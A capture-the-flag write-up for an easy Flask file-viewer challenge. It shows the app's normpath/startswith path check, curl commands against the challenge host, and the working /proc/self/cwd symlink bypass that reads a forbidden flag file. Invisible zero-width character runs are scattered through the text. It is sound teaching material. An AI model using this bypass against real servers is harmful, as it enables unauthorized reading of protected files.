← Back to Writeups
CUSTOMEasyWeb

Просмотр файлов (File Viewing)

XESXOR9/10/20262 min read
#web#custom#easy#normpath_startswith_bypass#procfs_cwd_symlink_bypass#source_code_analysis#linux

Просмотр файлов (File Viewing)

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: normpath_startswith_bypass, procfs_cwd_symlink_bypass, source_code_analysis

Summary

Task: Flask app with /read?file= endpoint blocks access to /app/forbidden/ via os.path.normpath() + startswith() check. Solution: bypass using /proc/self/cwd symlink which resolves to /app at OS level but is not normalized by normpath().

Просмотр файлов (File Viewing) — bug-makers

Description

Нужно прочитать содержимое файла, который находится в запрещенной папке.

English summary: A web application has a file reading endpoint. The goal is to read a flag file located in a forbidden directory that the application explicitly blocks access to.

Analysis

The target is a Flask/Werkzeug (Python 3.9) web application at http://31.207.77.216:4013/ with a file reading endpoint at /read?file=<path>.

The main page displays the file structure: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/app/
├── app.py
├── forbidden/
│   └── flag.txt 🚫 FORBIDDEN
└── allowed/
    └── fake_flag.txt ✅ ALLOWED

Reading the source code via /read?file=/app/app.py revealed the filtering logic:

python
from flask import Flask, request, send_file, abort
import os

app = Flask(__name__)

BASE_DIR = "/app"
FORBIDDEN_PATH = "/app/forbidden"
ALLOWED_PATH = "/app/allowed"

def normalize_path(user_path):
    if not user_path or user_path.strip() == "":
        return ALLOWED_PATH
        
    path = user_path.strip()
    absolute_path = os.path.normpath(path)
    
    if absolute_path.startswith(FORBIDDEN_PATH):
        abort(403, "Access denied: " + absolute_path)
    
    return absolute_path
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

@app.route('/read')
def read_file():
    file_path = request.args.get('file', '')
    try:
        absolute_path = normalize_path(file_path)
        if not os.path.isfile(absolute_path):
            return f"Error: '{file_path}' doesn't exist", 404
        return send_file(absolute_path)
    except Exception as e:
        return f"Error: {str(e)}", 500

The vulnerability is in the path validation logic:

  1. os.path.normpath() performs textual normalization only — it resolves . and .. components but does NOT resolve symlinks
  2. The startswith("/app/forbidden") check compares against the textually normalized path
  3. On Linux, /proc/self/cwd is a procfs symlink pointing to the current working directory of the process (/app for this Flask app) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the path /proc/self/cwd/forbidden/flag.txt:

  • After os.path.normpath() → stays as /proc/self/cwd/forbidden/flag.txt (no . or .. to resolve)
  • Does NOT start with /app/forbidden → passes the check
  • At the OS level, the kernel resolves the symlink to /app/forbidden/flag.txt → reads the forbidden file

Solution

Failed attempts

Standard path traversal techniques are defeated by os.path.normpath():

bash
# Direct access — blocked by startswith check
curl "http://31.207.77.216:4013/read?file=/app/forbidden/flag.txt"
# → Error: 403 Forbidden: Access denied: /app/forbidden/flag.txt
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Dot-slash — normalized to /app/forbidden/flag.txt → blocked
curl "http://31.207.77.216:4013/read?file=/app/./forbidden/flag.txt"
# → Error: 403 Forbidden: Access denied: /app/forbidden/flag.txt

# Parent directory traversal — normalized to /app/forbidden/flag.txt → blocked
curl "http://31.207.77.216:4013/read?file=/app/allowed/../forbidden/flag.txt"
# → Error: 403 Forbidden: Access denied: /app/forbidden/flag.txt

Successful bypass via /proc/self/cwd

bash
curl "http://31.207.77.216:4013/read?file=/proc/self/cwd/forbidden/flag.txt"
# → BugCTF{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The /proc/self/cwd symlink resolves to /app (the Flask process working directory), so the kernel reads /app/forbidden/flag.txt while the Python-level check only sees the /proc/self/cwd/... prefix. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍